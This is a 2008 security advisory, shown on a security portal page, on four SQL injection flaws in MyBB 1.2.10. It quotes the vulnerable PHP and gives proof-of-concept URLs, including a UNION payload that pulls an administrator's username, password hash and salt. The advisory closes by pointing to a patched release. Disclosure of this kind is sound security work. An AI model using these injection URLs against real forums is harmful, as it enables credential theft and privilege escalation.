Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
February 4, 2012
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 Error solutions
 y3dips ITsec
 Md5 Cracker
 plain-text.info
 Game Reviews
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: nubnub
New Today: 1
New Yesterday: 1
Overall: 7969

People Online:
Visitors: 183
Members: 2
Total: 185

Online Now:
01: nubnub - Your Account
02: ZiPo - Homepage
milw0rm
·[dos / poc] - PHP 5.4SVN-2012-02-03 htmlspecialchars/entities Buffer Overflow
·[dos / poc] - torrent-stats httpd.c Denial of Service
·[remote exploits] - Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Execute
·[remote exploits] - Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57
·[dos / poc] - NetSarang Xlpd Printer Daemon 4 Denial of Service Vulnerability
·[dos / poc] - OfficeSIP Server 3.1 Denial Of Service Vulnerability
·[webapps / 0day] - Apache Struts Multiple Persistent Cross-Site Scripting Vulnerabilities
·[webapps / 0day] - Sphinix Mobile Web Server 3.1.2.47 Multiple Persistent XSS Vulnerabilities
·[win32] - win32/xp sp2 ARABIC (ar) mechanism shellcode + proxy 500 bytes
·[remote exploits] - Webkit normalize bug for android 2.2 (CVE-2010-1759)

read more...
PacketStorm News
·Mandriva Linux Security Advisory 2012-012
·HP Security Bulletin HPSBMU02739 SSRT100280
·Apple Security Advisory 2012-02-01-1
·Red Hat Security Advisory 2012-0096-01
·Red Hat Security Advisory 2012-0095-01
·Red Hat Security Advisory 2012-0093-01
·Red Hat Security Advisory 2012-0094-01
·Red Hat Security Advisory 2012-0091-01
·Red Hat Security Advisory 2012-0092-01
·Debian Security Advisory 2402-1

read more...
[waraxe-2008-SA#062] - Multiple Sql Injections in MyBB 1.2.10





Author: Janek Vind "waraxe"
Date: 16. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-62.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. SQL Injection in "moderation.php" action "do_mergeposts"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation, including "canmanagethreads".

From source code of "moderation.php" line ~438:

-------------------------------------------------------------------------------
// Lets merge those selected posts!
case "do_mergeposts":
if(is_moderator($fid, "canmanagethreads") != "yes")
{
error_no_permission();
}
$plugins->run_hooks("moderation_do_mergeposts");
$mergepost = $mybb->input['mergepost'];
if(count($mergepost) <= 1)
{
error($lang->error_nomergeposts);
}

foreach($mergepost as $pid => $yes)
{
$plist[] = $pid;
}

$moderation->merge_posts($plist, $tid, $mybb->input['sep']);
-------------------------------------------------------------------------------

As seen above, unsanitized array variable 'mergepost' from GPC is delivered to
function "merge_posts()" as first argument - "$plist".

Source code of "merge_posts":
-------------------------------------------------------------------------------
function merge_posts($pids, $tid, $sep="new_line")
{
global $db, $plugins;

$pidin = implode(",", $pids);
$first = 1;
// Get the messages to be merged
$query = $db->query("
SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts
FROM ".TABLE_PREFIX."posts p
LEFT JOIN ".TABLE_PREFIX."forums f ON (f.fid=p.fid)
WHERE p.tid='$tid' AND p.pid IN($pidin)
ORDER BY dateline ASC
");
-------------------------------------------------------------------------------

It is obvious, that "$pids" argument will be used in sql query without any
sanitization. So sql injection security hole seems to exist here.

Let's try this proof of concept test:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts
&mergepost[war]=1&mergepost[axe]=2

... and we can see sql error message:

MySQL error: 1054
Unknown column 'war' in 'where clause'
Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts
FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid)
WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC

Yes, indeed, sql injection exists and as bonus, we can determine from error
message additional piece of information, useful for sql injections -
table prefix. It can be different from "mybb_" and without knowing it we will
have trouble trying to fetch data from MyBB tables.

This was Proof-Of-Concept test, how about real attack example?
Here it is:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts
&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,
(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)
+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2

As result we can see sql error message:

MySQL error: 1064
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ... line 1
Query: UPDATE mybb_users SET postnum=postnum-1
WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^''

Yeah - admin's username, password hash and salt, all in one line!

Now - mitigating factors. First of all, attacker must have moderator privileges,
including "canmanagethreads". So this sql injection security hole can be
used for privileges escalation from moderator to admin, if admin's password
is weak enough to be cracked with reasonable processing power and time.

Error feedback - if attacker can't see sql error messages, then this will not
stop the attack, it will be just harder to exploit and involves blind sql
injection attack methods.


2. SQL Injection in "moderation.php" action "allreports"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation.

Let's try:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'
+UNION+SELECT+waraxe--+

And we see error message:

MySQL error: 1054
Unknown column 'waraxe' in 'field list'
Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE
rid <= '0' UNION SELECT waraxe-- '

Problematic code:

case "allreports":
if(is_moderator() != "yes")
{
error_no_permission();
}
...
if($mybb->input['rid'])
{
$query = $db->simple_select(TABLE_PREFIX."reportedposts",
"COUNT(rid) AS count", "rid <= '".$mybb->input['rid']."'");

This sql injection can ultimately lead to privilege escalation from
moderator level to admin level - as in previous case.


3. SQL Injection in "moderation.php" action "do_multimovethreads"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB
installation, including "canmanagethreads".

Let's issue this request:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads
&moveto=2&threads=war|axe

Error message:

MySQL error: 1054
Unknown column 'war' in 'where clause'
Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads
WHERE tid IN (war,axe)

Flawed piece of code:

case "do_multimovethreads":
if(is_moderator($fid, "canmanagethreads") != "yes")
{
error_no_permission();
}
$moveto = intval($mybb->input['moveto']);
$threadlist = explode("|", $mybb->input['threads']);
foreach($threadlist as $tid)
{
$tids[] = $tid;
}
...
$moderation->move_threads($tids, $moveto);

Similary to previous two cases, this sql injection can lead to privilege
escalation from moderator level to admin level within MyBB context.


4. SQL Injection in "admin/usergroups.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: attacker must have admin privileges in MyBB context, therefore
risk level is low. Still, any non-superadmin can fetch any data from database,
including password hashes for other admins.

http://localhost/mybb.1.2.10/admin/usergroups.php?
adminsid=f962d4e991671f3f930d7117a745147f
&action=do_joinrequests
&request[waraxe]=decline

Error:

MySQL error: 1054
Unknown column 'waraxe' in 'where clause'
Query: DELETE FROM mybb_joinrequests WHERE uid IN(waraxe) AND gid=''

http://localhost/mybb.1.2.10/admin/usergroups.php?
adminsid=f962d4e991671f3f930d7117a745147f
&action=do_joinrequests
&request[-1]=decline
&gid='waraxe

Error:

MySQL error: 1064
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near 'waraxe'' at line 1
Query: DELETE FROM mybb_joinrequests WHERE uid IN(-1) AND gid=''waraxe'

Reason - incoming variables "request" and "gid" are not properly sanitized
before using in sql queries.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download MyBB new version 1.2.11 as soon as possible!

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------










Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2008-01-16 (6938 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2386
vince213333  vince213333 - 706
pexli  pexli - 663
Mullog  Mullog - 482
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 353
tsabitah  tsabitah - 328
y3dips  y3dips - 281
lenny  lenny - 275
News @ SecurityFocus
·News: Twitter attacker had proper credentials
·News: PhotoDNA scans images for child abuse
·News: Conficker data highlights infected networks
·News: Popular apps need better patching, says report
·Brief: Google offers bounty on browser bugs
·Brief: Cyberattacks from U.S. "greatest concern"
·Brief: Microsoft patches as fraudsters target IE flaw
·Brief: Attack on IE 0-day refined by researchers
·News: Adobe pushes out Flash security fix
·News: Most consumers reuse banking passwords

read more...
Security Basics
·Picking a SIEM: How's envision compared with Arcsight?
·Re: Best Commercial Security Testing tools
·Re: CISSP online training
·Re: CISSP online training
·CISSP online training
·Re: Log viewer
·RE: Re: Log viewer
·Re: Re: Log viewer
·Re: Re: Log viewer
·Re: Best Commercial Security Testing tools

read more...
alexa



Nvidia GeForce Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2010 Janek Vind "waraxe"

Page Generation: 0.077 Seconds